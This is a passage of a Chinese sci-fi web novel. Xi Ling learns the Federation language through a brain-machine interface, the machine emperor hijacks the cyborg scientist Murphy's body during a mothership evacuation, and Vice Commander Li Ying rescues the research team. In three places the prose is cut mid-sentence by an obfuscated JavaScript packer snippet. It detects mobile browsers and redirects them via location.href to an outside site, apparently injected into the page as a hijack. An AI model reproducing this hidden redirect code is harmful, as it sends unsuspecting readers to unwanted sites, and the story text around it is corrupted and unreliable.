目送萧寒剑和黎缨离开后,这位怪人向郗灵叹息着摇头:“真让人伤心呐,我明明从没做过伤天害理的事。” 郗灵捏了捏墨菲的半机械义手——那层脆弱的合金在她手下不堪一击,她想自卫只是动动指头的事。 墨菲既不在意萧寒剑的态度,也完全笑纳了郗灵的试探,即使郗灵刚才把他的铁手捏出一声脆响,但他框架眼镜下的机械义眼永远都是笑眯眯的。 郗灵歪头:“你不生气?” “没什么好生气的,研究院和军部本就势同水火,若非实验遇到了瓶颈,我也不会哀求院长让我的团队随军出征。”墨菲混杂着机械和人类皮肤的手推了推眼镜。 一秒后,他看着郗灵茫然的眼神:“看来,我们需要先解决语言问题。” 郗灵点头,在这件事上,她十分认可墨菲的意见。 墨菲带着郗灵来到一台高大的仪器前。 仪器的大半结构嵌在合金墙壁新打出来的凹槽里,无数或粗或细的管道和电路在地上蜿蜒缠绕,上面只做了一层简单的防护,一看就是从实验室拆下来临时安装在飞船上的。 墨菲拿起一只头盔要往郗灵脑袋上戴,郗灵下意识后退一步。 墨菲把头盔戴在自己头上,过了一分钟后,又拿起另一只头盔递给郗灵。 郗灵接过头盔,仔细观察墨菲的反应,见没有异常后才谨慎地戴上。 头盔内层的神经索贴上郗灵的头皮,以无创手段捕捉郗灵的脑电波。 郗灵只觉得头上痒了一下,下一秒,她的眼前开始出现彩虹光晕般透明的波纹。墨菲戴着头盔站在她一步之外,冰冷的半机械义手紧握着她的手。 “别紧张,头晕是正常的。”墨菲的大半张脸庞都覆盖着人皮,他的嘴唇仍然属于人类,但声带颤动时带着一丝电音,“很快就好了……还有十秒钟。” 头部如果受创,轻则休养三月,重则终生痴呆。 郗灵相信萧寒剑送她过来不是为了害她,但萧寒剑对墨菲的忌惮也是真的。因此,郗灵对墨菲的判断在善恶之间反复横跳,无意中竟反握住墨菲的铁手,让那只铁手发出了令人牙酸的脆响。 研究员们手中动作不停,余光却不约而同地看向墨菲——后者的手已经开始变形了。 墨菲没有一丝挣扎的动作,义眼闪烁着红芒,盯着扭曲的义手露出了一个微笑。 那是一种古怪而狂热的微笑,犹如久渴的旅人发现了绿洲。 十秒后,郗灵头皮上的痒意消失了,眼前的虹色半透明波纹也消失了。 她看向墨菲,墨菲翕动嘴唇:“你好啊,亲爱的小怪物。” 郗灵猛地一愣——墨菲博士竟然使用了郗灵的母语! “医疗部送来的体检数据显示,你的口腔结构与智人相近,你母语的音素必然收录在联邦智库中。”墨菲的铁脑壳套着一个铁头盔,像套娃一样滑稽,“这台脑机扫描了你的颞叶语义区、运动皮层发音记忆区和海马体情景区,捕捉了约莫400句样本,并以此解构了你的母语。” 郗灵睁大双眼。 墨菲的话夹杂着通用语、郗灵的母语和一些破碎的音素,仿佛给句子的某些部分打上了马赛克。 但这无伤大雅,因为——郗灵终于可以听懂飞船上的人说话了! 郗灵张口:“博士……” 她想对墨菲说一声“谢谢”,但墨菲直接打断了郗灵的话。 “不,亲爱的小怪物,不要把珍贵的生命浪费在无意义的寒暄上。”墨菲的眼神兴奋又紧张,犹如无神论者看着一只爬出地狱的小恶魔,“你一定有很多疑问,而我……很愿意为你解答。” 一扇通往新世界的大门正在向郗灵缓缓打开。 郗灵戴着沉重的脑机头盔,从上而下扫视面前的墨菲博士——一个被萧寒剑上将认可又忌惮,绝大部分身体都机械化,被一重又一重门禁关在舱段最深处的……神秘的家伙。 郗灵的指尖抚摸腰间的机甲钮:“你是人类还是铁人?” “人类。”墨菲博士的回答出乎意料的简洁。 郗灵放下抚摸机甲钮的手,眼神有点惊讶。 如果一个人的评分是百分制的,那么一开始,郗灵对墨菲的评分只有及格的60分。 这倒不是因为墨菲亦正亦邪的气质,亦或者萧寒剑对墨菲的态度导致郗灵对墨菲无感,一切只是因为——墨菲有一具和铁人太过相似的躯壳。 但经过简单的相处,郗灵发现墨菲对她没什么坏心思,顶多只是把她当实验样本分析——身为某个研究院(那名字太长了,郗灵没记住)的副院长,墨菲有这个毛病郗灵完全可以理解。 郗灵固然痛恨铁人毁灭了她的母星,但她不会一杆子打死所有人。 只是…… 郗灵盯着墨菲的嘴唇。 这位博士在专业领域滔滔不绝,时常说出一连串听不懂的名词,但回答这个问题时,他竟然在吐出“人类”一词后,就直接没了下文。 墨菲好笑地看着郗灵:“你很惊讶?” 郗灵点头:“我以为你会解释得更多。” “我不擅长回答这个问题,因为它可以从太多角度去解读了。”墨菲闪着红芒的义眼毫无人类的情感,他古怪的气质大半来于此,“按照《联邦法》,我拥有人类的大脑,在法律上仍被视作一个人类。但是从朴素的价值观出发,一个机械化程度超过80%的人还可以称之为‘人’吗……于是我只能给出我心中的答案,无论听者是否认同。” 郗灵努力翻译,墨菲的话混杂着通用语和母语,还有一些马赛克似的杂音。 她败下阵来:“……我听不懂。” “我的错,亲爱的小怪物。”墨菲亲昵地称呼,“你的第二个问题是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181214|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么?” 郗灵透过头盔护目镜看向舷窗。 舷窗外是一片无垠的宇宙,黑沉静谧如腐烂的巢穴,第七军团舰队声势浩荡,但航行至今,她竟从未见到一艘同路的客船。 遥远的恒星不足以照亮这片星域,这条孤独的航线上没有日月星光,只有无限反刍的孤独。 郗灵忽然悲从中来:“我不知道从何问起,博士。” 她作为一个渺小的凡人裹挟在命运里,犹如一粒河沙裹挟在跌宕的江水中。从铁人向她的母星扔下第一枚炮弹开始,她的人生就走上了新的道路,至于道路尽头是胜利还是死亡,她也四顾茫然。 她能做的只有记住自己的起点。 母星早已在战火中烧成一团灰烬,她只能在矿星的墓碑上刻下自己的姓名。 从前的郗灵已经死了,如今的郗灵……只是一缕复仇的亡魂。 墨菲凝视郗灵的侧脸:“你的母星叫什么?” “地球。” “每一个陆地文明和银河接轨前,都曾以为自己的母星是宇宙的中心,而那些母星十个有九个都叫‘地球’。”墨菲果然又开始滔滔不绝了,“我看过你的资料,你母星的临时编号是5201,这意味着你的母星是被机械军团毁灭的、第5201颗未被联邦收录的星球……” 墨菲长篇大论,郗灵闭上双眼。 这家伙完全没有同理心!就算他不是发动战争的铁人,郗灵也很想把他的铁脑壳卸下来当球踢! 十分钟后,墨菲暂停科普。 郗灵和墨菲之间出现了沉默的空档,一个研究员小心翼翼地凑过来:“副院长……” “叫我院长!” “可是伊甸才是院长……” “它的眼线难道还能安插到凤凰上将的母舰上吗?你们在中央星一口一个‘副院长’已经够让我难受的了,在这种鸟不拉屎的荒凉星域还不能让我过过耳瘾吗?” 研究员很有骨气地挺直腰杆:“副院长。” 墨菲:“……” 墨菲没脾气了。 墨菲和研究员进行了一番学术上的交流,解惑后的研究员兔子似的蹦远,墨菲似笑非笑地盯着研究员的背影,突然发觉郗灵看向他的目光有点不对劲。 恍然大悟,暗藏祸心,跃跃欲试…… 墨菲接着输出:“亲爱的小怪物,我们继续之前的讨论,根据我的猜测,你的母星很可能……” 郗灵打断施法:“副院长。” 墨菲:“…………” 郗灵盯着墨菲吃瘪的脸,她终于找到这位博士的命门了:“副院长?” 墨菲露出个咬牙切齿的笑:“叫我博士。” 郗灵见好就收:“博士。” “既然你没什么想问的了,那我们的语言实验就到此为止吧。”墨菲摘下自己的脑机头盔,又向郗灵伸来一双人皮斑驳的铁手,“我还记得上将的叮嘱,她只想查一查你的消化情况。” 郗灵偏头躲开,抬手打算自己摘下头盔。 但她的瞳孔突然倒映出一束明亮的光束——来自舷窗之外黑寂的太空! 5. 紧急疏散 那束光束从遥远的太空直射而来,从正面看只是一个纯圆的光点。它瞄准了第七军团舰队,盛大明亮的光束在极短的时间内跨越荒凉的星域,精准地射中了郗灵所在的母舰。 轰!!! 光束没有击中母舰,它击中了第七军团防御系统构建出来的护盾! 半透明护盾笼罩住庞大的母舰,六角蜂窝网格在表面晶莹闪烁,那道光束只在护盾上留下一个漆黑的灼点,待光束停止攻击,那灼点也随着护盾的刷新彻底消失,仿佛从未存在过。 郗灵瞠目结舌:“那、那是什么?” “聚能护盾。”墨菲博士简练地回答。 下一秒,他看着郗灵茫然的眼神,低头看向手中的脑机头盔——他已经和脑机断开联系,由脑机设备提供的语言翻译功能不再生效了。 “……等有时间,我一定给你写一本《通用语日常三千句》。”墨菲极快地嘟哝一句,而后拔下脑机设备上的导线,把郗灵的脑机头盔和自己的铁脑袋连接起来。 郗灵攥着连接二人的导线:“博士?” 沙沙! 天花板上的隐藏式喇叭发出两道电流杂音,下一秒,播报员的声音在广播中急促地响起: “全体人员注意!这里是舰桥指挥中心,重复,这里是舰桥指挥中心——第七军团母舰遭遇机械军团突袭,外层护盾已拦截首轮打击,我方进入迎战状态,现在发布分级指令,所有单位务必执行: “第一,战斗部各单位立即进入战斗岗位!机甲作战部队在3号、7号机库完成战前自检,舰载炮组锁定敌方旗舰坐标,通讯频道切换至加密作战频段——你们的职责是守住舰队防线,给撤离争取时间! “第二,后勤部、医疗与心理部、服务部的非战斗人员立即启动疏散程序!请携带个人应急包,沿舱壁绿光指示的通道,前往月台B区、D区搭乘逃生舱! “第三……” 播报员的话被墨菲实时翻译给郗灵。 郗灵一开始警惕地攥着连接二人的导线,但她逐渐沉浸在广播内容中,双手一点点地松开了导线。 但突然间,墨菲握住了郗灵的手。 郗灵低头看去,发现墨菲伸来的手正是被自己攥变形的那一只,破损的械壳和人皮之下,已经露出了铜色的电路和苍白的血肉。 但墨菲仿佛没有痛觉一般,半机械义手牢牢地攥着郗灵的手,传来的力道紧张而颤抖。 郗灵抬头,发现墨菲的嘴唇也是苍白的。 他在担心什么? 他在……害怕什么? “第三,合作单位科研人员请注意!”播报员说出“第三”后停顿了一下,这条指令明显不是军部通用指令,因此需要多确认几眼,“请优先携带正在进行的核心实验数据存储设备,沿疏散通道的橙色指示前往月台C区的高级逃生舱,若时间允许,请沿途按停所有红色紧急按钮。” 墨菲手上颤抖的力道停下了,苍白的嘴唇以肉眼可见的速度恢复了血色。 但广播那头传来一阵噪音,麦克风来到了另一人手下:“尤莱亚·墨菲副院长,我是第七军团副指挥官,黎缨少将。” 郗灵猛地抬起头,看向嵌在冷色天花板上的广播喇叭。 是黎副官! “第七军团提督,萧寒剑上将已经前往战场前线,从现在起,由我负责你们的安全。”黎缨的话冷硬而高效,她几乎在把这群科学家当正规军来指挥,“墨菲副院长,请你在十五分钟内带着人员和设备赶往月台C区,十五分钟后,无论你们是否抵达,我们都会撤离。” 墨菲睁大双眼:“为什么……” 沙沙! 广播停止放送,各部门单位或者切换至加密频段,或者在长官的指挥下开始有序撤离。 郗灵看向墨菲,墨菲脸上如释重负的表情被愤怒和严肃覆盖。 “三分钟内,清点好与‘胚胎’相关的实验数据,然后跟我撤离!”墨菲对所有人下令。 研究员们听到墨菲的话如同运动员听到发令枪,浑身一抖后,开始飞快地清理实验室。 墨菲终于松开了郗灵的手,鲜血夹杂着亮金色的电火花从他的手背上滴答坠落,随着时间分秒流逝,在地上汇聚出一滩淡红色的水洼。 郗灵问:“你的那什么……实验数据呢?你不去清点吗?” “和那些人均只有四个博士学位的蠢材不同,我所有重要的实验数据都在我的脑子里。”墨菲的义眼倒映出郗灵猫一样尖俏的小脸。 他停顿片刻,轻声咕哝:“更何况……” “更何况”之后的话含糊在墨菲的唇齿间,郗灵没有听清。 三分钟计时结束,研究员们背着大包小包站在墨菲面前,头发有些散乱,脸上带着强行镇静后残存的仓皇,仿佛一群迁徙的旅鼠。 墨菲站在领头人的位置,无需任何语言,只轻轻一挥手臂,所有人就自动跟上了他的步伐。 郗灵和墨菲并排走在队伍最前面。 微颤的力道顺着导线传来,郗灵透过头盔护目镜看向墨菲的脸,发现墨菲的表情没有一丝异样,好像把“可靠”“沉稳”“胸有成竹”这类形容词印在了脸上。 即使身体怕得发抖,也不肯在他人面前展露软弱的一面吗……有趣。 “你在害怕?”郗灵直接把话说破了。 墨菲恶狠狠地瞪了郗灵一眼:“我没有!” “他有!”一个研究员突然插话,他的手正在拍灭一个红色紧急按钮。 墨菲扭头瞪视。 但研究员仿佛在生死逃亡间突然看淡了许多事,用颤抖而兴奋的声线向郗灵科普:“你不是研究院的员工,所以不知道我们都把副院长当猫主子一样供奉——院内智库现在还保存着副院长的猫塑二创!” 郗灵:“?” 墨菲:“?” “副院长在接受人体改造之前是我们的院花!他以前还会教小姑娘用院里的纳米打印机染美甲!”另一个研究员眼一闭心一横,干脆豁出去了,“我们的实验项目他全都搭过手,二院现在还有个妹子供着他人体改造前的画像,开机前拜三拜,一整天的实验都不会出问题!” 郗灵:“哇塞!” 墨菲:“……” “所以——副院长你其实不用在我们面前扮演‘我什么都能扛’的超级英雄,心软的人装心硬是很蹩脚的!而且,我们是人均四个博士学位的精英,不是摇篮里嗷嗷待哺的婴儿!” 紧闭的舱门逐扇打开,这群研究员无愧于“精英”的称号,一边在疏散通道上撒腿狂奔,一边还有精力对墨菲深情告白,“副院长!告诉我们!现在的我们能为你做什么?” 这场滑稽的对话没有引发任何外在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181215|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的变化。 没有人敢停下脚步,所有研究员带着和生命等重的实验器材,用此生最快的速度跑过一扇又一扇开启的舱门——十五分钟后黎缨就会离开,把他们扔在这艘空荡荡的母舰上。 跨过第三道舱门时,墨菲放慢了脚步。 郗灵偏头看向墨菲。 墨菲深吸一口气,扭头看向最先挑起话题的研究员:“第一,叫我院长。” 研究员正在拍下第二个红色紧急按钮,闻言手中动作一滞:“……” “第二,一群年纪没我鞋码大的小兔崽子,还妄想把我的猫塑藏在内网里?”墨菲冰冷的机械义眼扫过研究员们,目光所及之处,所有人都害怕地埋低了脸,“我早就清理干净了!” 郗灵:“……” 这是重点吗? “第三,你们不要指望能帮上我的忙。”墨菲冷哼一声,“我知道你们惋惜的不止是我的脸,但我改造成机械人只是为了更好地追逐真理,你们用原装的身体和大脑就足以获得让世人炫目的成就了。” 墨菲的义眼倒映出一张张淌满泪水的脸——这群屹立于联邦智力顶峰的精英们做出了最不理智的行为,他们哭了。 墨菲柔和了语气:“……别学我。你们要长命百岁,亲爱的孩子们。” 郗灵一愣。 研究员们停下脚步。 墨菲冷厉地甩出眼刀:“跑起来!” “是!”研究员们带着哭腔迈开腿。 他们跑过一道又一道开启的舱门——身为被军部重点防备的研究院成员,这些门禁性质的舱门宛如一道道枷锁,把研究员和军部士兵重重隔离。研究员们也很有自知之明,他们像不见光的囚犯一样待在舱段深处,只在话语中偶尔被士兵提及。 但现在,他们在奔跑。 他们向月台C区的逃生舱跑去,他们向重重门禁后的自由跑去,他们……向耳闻已久、却从未见面的军部士兵跑去。 郗灵听到了牙齿互相碰撞的“哒哒”声——这群精英在恐惧,恐惧未知的死亡,恐惧已知的未来。 郗灵看向墨菲:“我能和他们唠会儿吗?” 墨菲哼了一声:“想让我帮你翻译?呵,你说吧。” “萧寒剑上将是个好人,在她领导下的第七军团应该也不会很坏。”郗灵有一搭没一搭地说,“黎副官说话不是很客气,但她只是性格没那么含糊,她是个好人……还有食堂的炊事官,他炒的菜锅气很重,是我这几个月吃过的最好吃的一顿饭,他也是个好人。” 郗灵上母舰的时间不长,认识的军人也就这么三个。 墨菲翻译完毕,研究员们面面相觑。 他们问:“你想表达什么?” “……”郗灵哽咽了一下,这群精英在人情世故上颇有点不谙世事的纯洁,“我想表达,你们不会被黎副官随便抛弃的,就算我们在十五分钟内没有赶到月台,她也不至于……” 墨菲停下了脚步。 研究员们也停下了脚步。 所有人齐齐地盯着紧闭的舱门。 沿途的其他舱门都尽数开启,唯有最后一道紧紧锁闭。墨菲的目光扫过舱门左侧闪烁的橙色信号灯,又缓缓落到郗灵紧绷的小脸上。 墨菲:“不至于什么?不至于丢下我们?” 郗灵:“……我不确定了,博士。” 6. 机械帝皇 墨菲冷笑一声:“我逗你玩呢。” 郗灵:“……” “如果我的团队在军部母舰上团灭,无异于引发一场政治大地震,黎缨有八个胆子也不敢真扔下我们不管,她只是嘴硬外加心里不爽而已。”墨菲推了推框架眼镜,“而且,凤凰上将没有戏弄猎物的习惯,她如果真想我们死,大可直接把我们锁在封闭舱段——综上,这道舱门意外故障了。” 郗灵认可地点头:“嗯,上将和副官是好人!” “……”墨菲瞪视郗灵一眼。 于众目睽睽之下,墨菲一拳砸开舱门左侧的金属嵌片,露出了里面隐藏的操作接口。 墨菲仅剩的那只完好的义手就此报废,鲜血混杂着电火花淌满了手心手背,连带着小臂也斑驳血淋。但墨菲没有一丝停顿,他拔掉了连接郗灵头盔的导线,又把它转手插进舱门的操作接口。 通道两侧的橙色指示开始高频闪烁,墨菲博士的机械义眼也以同样的频率闪动着红芒——他正在入侵母舰的门禁系统。 墨菲忙于骇客事业,郗灵围着石像般静默的墨菲转了几圈,忽然看到那群精英研究员朝她招了招手。 郗灵走过去,一个研究员小心翼翼地摘下她的脑机头盔,伸出苍白的手指戳了戳她的脸颊。 那个研究员正是爆料内网猫塑的家伙:“哇,是活的!” 郗灵:“……” 第一个研究员戳完郗灵的脸颊后,剩下的研究员们呼啦一声围了过来。他们争先恐后地和郗灵说话,让郗灵尤为震惊的是,他们在人均十句话之后都磕磕巴巴地说起了郗灵的母语。 和墨菲博士一样,研究员们的话不可避免地夹杂着通用语,话中通用语的比例也比墨菲说话时高得多。 但在这么短的时间内总结出郗灵母语的规律……联邦精英恐怖如斯! “副院长真的很喜欢你,郗灵。”一个研究员把眼镜推到额头上,仔细地观察郗灵的脸,“这么多年了,我还是第一次看到他对一个人这么讨好。就算在人体改造之前,他的性格也十分清高。” 郗灵抱着手臂寒颤了一下:“讨好?为什么?” “‘胚胎’项目已经很久没有实质性的进展了,你让他看到了希望。”另一个研究员解释道。 因为研究员们的话夹带着通用语,外加郗灵的通用语烂穿地心,这场对话的许多句子都打了一层马赛克。 郗灵重复那个听不懂的单词:“胚胎?” “……郗灵,机甲是活的。”研究员另起话题,他捧起挂在郗灵腰间的白色机甲钮,但龙姬下一秒就跳出他的手掌。 研究员也不恼。 他看着龙姬落回郗灵腰间,眼底涌动的神色悲悯而沉重:“机甲里的生命体穿上拘束甲,变成了扭曲的怪物。机甲师要想驾驶机甲,就必须接受来自机甲的精神污染——没人敢说这样是对是错,但人类要想和机械帝皇抗衡就只能这么做。” 郗灵沉默。 她摘下龙姬的机甲钮,举到眼前细细端详。 龙姬温顺地躺在郗灵的手心里,收敛了所有的叛逆和残暴,像依人的小鸟一样窸窣抖动。 机甲……是活的。 机械帝皇以一己之力掀起席卷全银河的战火,无数生灵为之涂炭,但这样一个恶贯满盈的存在,和他抗争的手段竟然也充满了罪恶与血腥。 突然,一个站在远处的研究员问道:“副院长破解门禁用了多久了?” 同伴秒答:“8分37秒。” “不对劲啊。”站在远处的研究员没有参与和郗灵的对话,她一直在勤勤恳恳地检查同伴们的实验器材,“母舰的门禁系统虽然复杂,但只打开面前这扇舱门的话,并不需要攻破核心,怎么会……” 研究员话音未落,一束激光突然贯穿了她的胸腔。 研究员是个棕头发的妹子,头上别着七八个红发卡。她因为这束激光后退两步,娇小的身体重重砸上身后的实验器材,胸口的贯穿伤可以从前面看到后面,伤口周围一圈焦黑,衣料下的皮肉已经烤熟了。 研究员吐出一口鲜血,不敢置信地看向激光的发射者—— 墨菲博士淡然地拔掉脑袋上的导线,义手残留的人类皮肉逐渐被增生的机械吞噬,而他的另一只义手已经彻底机械化,掌心的激光炮口还冒着缕缕白烟。 研究员瘫坐在地:“副院长……为什么……” 一切发生在电光火石之间,郗灵和她身边的研究员全都愣住了。 下一秒,郗灵通红着眼睛怒而暴起,双脚蹬在合金地板上留下浅浅的凹坑,如一支离弦的箭冲向了墨菲。 研究员们乱成一锅粥,有的保护实验器材,有的对同伴进行抢救。但郗灵听不到身后乱哄哄的声音,她的耳膜充血鼓胀,所听到的唯有她的心跳声。 咚咚。 咚咚。 咚咚。 “你为什么伤害她?”郗灵扑倒墨菲的身体,后者身体上增生的机械几乎将他整个人吞食殆尽,当郗灵压住他时,简直如同压在一台冰冷的机器上,“为什么?为什么?你说呀?” 墨菲非人的义眼生涩地转动了两下,那张依稀可见俊俏残容的脸上,增生的铁皮正在覆盖人皮。 他露出一个微笑:“我不是他。” 铁人露出肖似人类的微笑,这一幕勾起了郗灵关于战争的回忆。她用力地压制着身下的铁人,看着铁人残存的人类皮肤一点点被机械组织吞噬…… 多么眼熟啊,多么熟悉啊,有机和无机的战争,战争吞噬了和平,冰冷的合金吞噬了活生生的人。 郗灵目眦欲裂:“机械帝皇!!!” “你很聪明,女孩。”盗用墨菲账号的机械帝皇伸出两只铁手,轻柔地伸向郗灵的脸。 但郗灵警觉地避开了机械帝皇的触碰,她卸掉他的双臂,用最坚硬的手肘用力压住他的脖颈。 机械增生不可逆转,但可以延缓。郗灵压住了墨菲的颈部大动脉,用减缓血液流动的方式暂时遏制了机械帝皇对墨菲头部的侵蚀。 “再这样下去,死的不是我,而是他。”机械帝皇笑着说。 郗灵恶狠狠地瞪着机械帝皇:“闭上你的臭嘴!” “你以为救下一个人就能阻止我的计划吗?”机械帝皇仍然笑盈盈。 也许是墨菲的脸太过俊俏,他这样冰冷的笑容竟也带着几分人情味:“你是战争遗孤?不然一个平民女孩不会知道无机士兵的秘密。但没关系,这艘母舰已经被我入侵,你身后的‘胚胎’研究团队和凤凰上将的副官,通通都会成为我的一份子。” 机械帝皇侵蚀了墨菲的身体,他体贴地使用了郗灵的母语,郗灵闻言一愣,抬头看向舱门左侧裸露的操作接口。 操作接口火花毕剥,郗灵的大脑飞速运转—— 机械帝皇入侵了母舰系统! 黎缨现在还在船上! 黎缨是第七军团的副指挥官,重要性不言而喻,但机械帝皇把“胚胎”研究团队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181216|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排在了黎缨前面,说明自己身后的这群研究员甚至比黎缨还要重要! 胚胎…… 机甲…… 机甲是活的…… 郗灵低头看向腰间的机甲钮——“胚胎”团队立项的目的是改良机甲! 而那些人均四个博士学位的联邦精英久无寸进,足以证明这个项目的难度有多高! 郗灵哼笑一声,目光灼灼地盯着手肘下那张压得青紫的脸:“墨菲博士。” 机械帝皇轻笑一声:“我说过了,我不是他。” “你不是坚称你是个人类吗?如今你就要变成彻头彻尾的铁人了,你怎么一点反抗的动作都没有呢?”郗灵把母语和通用语掺着说,她的话只有机械帝皇和墨菲能完全听懂,“你笑话院里的其他人是蠢材,但他们从生到死都是人类,就算骨头在棺材里烂成腐泥,他们的墓碑上也刻着人类的姓名!” 机械帝皇动作一滞。 “而你——如果你还不醒来,你只能以铁人的身份去死了。”郗灵维持压住墨菲脖颈的姿势,嘴唇附到墨菲的耳边一字一顿道,“副!院!长!” 郗灵话音刚落,手肘猛地用力,竟是要把墨菲的脖子直接碾断! 机械帝皇残存的人皮由青紫变得蜡白,他从冰冷的铁人变成了苍白的蜡像,但郗灵对这一幕毫无动容,她一寸寸地压低自己的手肘,目睹机械帝皇在她的手下垂死挣扎。 她是从战场上活下来的人!她曾经的优柔寡断已经害死了太多不该死的人!她绝不会心软! 但死亡的前一秒,“机械帝皇”突然吐出一道颤抖的气音。 他如同离水的鱼弹动了一下身体,那双毫无血色的嘴唇嗡动着吐出一句话:“……叫!我!院!长!” 郗灵喜极而泣:“博士!” 咔嚓! 郗灵手肘一抖,墨菲身首异处。 墨菲掺杂着械壳和人皮的头颅滚落在地,断口处流出的鲜血顺着滚动的痕迹在地上拖出一条带着电火花的血路,而他的脑袋像一颗弹性极佳的皮球,一路蹦跳着滚到了胸腔开洞的研究员脚边。 郗灵:“……” 墨菲:“……” “胚胎”项目组全体员工:“……” 胸口开洞的妹子:“啊啊啊啊啊!副院长啊!副院长啊!” 研究员们全员化身尖叫鸡,一边尖叫一边抢救墨菲的头,郗灵呆滞地跪坐在墨菲的无头身体上,耳朵突然捕捉到一阵低沉的异响。 嗡鸣,震颤,能量磅礴。 郗灵浑身的警报一瞬间拉爆了。 她手脚并用地滚爬到角落,又对通道中央的研究员们声嘶力竭地呐喊:“快!躲!开!” 研究员们下意识照做。 门外的黎缨盯着生命探测仪:“开炮!” 轰!!! 一束恢宏磅礴的激光束洞穿了紧闭的舱门! 激光束以摧枯拉朽之势,把路径上的所有东西都烧成了灰烬,它笔直地射向疏散通道尽头,打碎巨大的舷窗逃逸向荒凉的宇宙,一去不复回头。 烟尘散去,黎缨的身影缓缓浮现。 她走到郗灵身边,伸出一只戴着白手套的手:“你还好吧?墨菲呢?” 郗灵看向墨菲——后者已经泡进了培养罐,被抱在胸口开洞的妹子的怀里,隔着高精度玻璃和黎缨遥遥对视。 黎缨:“副院长?” 墨菲:“……” 墨菲:“叫!我!博!士!” 7. 胚胎 “十五分钟已经到了,博士,你和你的团队爽约了。”黎缨没在这种小问题上和墨菲纠缠,她冷冰冰地扔下这句话,牵起郗灵转身就要离开。 郗灵一屁股坐在地上,死死地抱住黎缨的大腿:“副官!” 黎缨低下头:“怎么了?” “墨菲博士他不是有意的!”郗灵的手肘还沾着机油和血浆,她以豁出命来的姿态把黎缨拖在原地,因为她真的不敢赌黎缨不会扔下研究员们,“最后一道舱门锁住了,博士想要破解门禁,但他——” “他被机械帝皇反向入侵了。”黎缨打断郗灵。 郗灵:“……” 墨菲:“……” 研究员们:“……” “你们很惊讶?你们以为军部只有一群四肢发达的莽夫?”黎缨仔细地擦去郗灵脸上的血渍,摘下染血的白手套用力地扔在研究员脚边,“别的军团我不清楚,但第七军团的士兵都是五大军校的毕业生,他们当年的高考分数不比你们低,更何况……你们只是一群羸弱的菜鸡。” 黎缨的脸是她浑身上下唯一露出的部位,清丽冰冷如雪白的瓷器,但当她扔掉那双白手套时,露出的双手布满了深重的疤痕,其中几条旧疤可以窥见当年见骨的创伤。 墨菲被怼得哑口无言,他安静地漂浮在玻璃罐里,失去了所有清高的气焰。 但黎缨仍不满足,她如刀的视线四下扫射,目光所过之处,研究员们一个接一个地垂下了脑袋。 “博士学位很了不起?”黎缨冷哼一声,“我也有三个。” 会心一击!效果拔群! 研究院的精英们失去了所有自尊,他们引以为傲的资本在黎缨的攻击下灰飞烟灭。 郗灵胆战心惊地牵着黎缨的手,跟着黎缨快步赶往月台。她不时回头看向身后的科研团队,发现那群心地善良情商不详的精英们像一群跟着鸡妈妈的小鸡崽,乖巧而温顺地尾行于黎缨身后。 他们甚至不敢有一丝提问的心思,连眼神都变得清澈了! “你在看什么?”黎缨问。 郗灵转回脑袋:“没什么。” “你的通用语进步得很快,是那群科研疯子的功劳吧?”黎缨发现了郗灵的变化,“他们对你做了什么?” 郗灵如实汇报,黎缨的眉头一点点皱了起来。 “……不出上将所料,那群疯子见到你就像饿狼见了肉,尤其是墨菲这只头狼。”黎缨回头瞥了墨菲一眼,墨菲安静地漂在培养罐里,随着科研妹子奔跑的弧度一荡一荡,“但他们绝不会害你,这一点无论墨菲还是我都可以向你保证。” 郗灵也回头看了一眼墨菲,她觉得墨菲可能有点晕车:“我们要跑慢一点吗?” “他吐不出来。”黎缨听懂了郗灵的言外之意,“他连胃和肠子都没有,拿什么吐?” 郗灵:“……” 你自求多福吧,博士! 橙色指示在疏散通道两侧的舱壁上闪烁,黎缨和郗灵跑在前面,科研团队跑在后面。 但某一刻,墙上的指示灯“嘭”地一声全数熄灭,研究员们齐齐发出一声压抑的惊呼,又在黎缨的眼刀下咽下了所有声音。 黎缨唤醒腕部光脑:“埃德蒙?” “主引擎组彻底熄火了!”光脑那头一开口就送来一个坏消息,“你已经接应到那群科学家了吧?母舰剩余能源不多了,如果你认识路的话,咱们能省点就省点。” “收到。”黎缨回复。 黎缨加快了脚步,她牵着的郗灵和身后的科研队伍也加快了脚步。 漆黑的疏散通道伸手不见五指,尽头的光明被漫长的黑暗吞噬,通道中回荡着的唯有重叠的脚步声和粗重的呼吸声,一切仿佛只是重复的轮回,直到—— “汪呜呜呜!”胸口开洞的妹子跌坐在地,汪的一下哭了出来,“我想回中央星!我想回家!” 妹子头上的红发卡在奔跑时掉得七零八落,湿漉漉的棕发黏在汗津津的脸上,她和墨菲博士共用着一套便携维生器械,跑起来比其他人笨重得多。 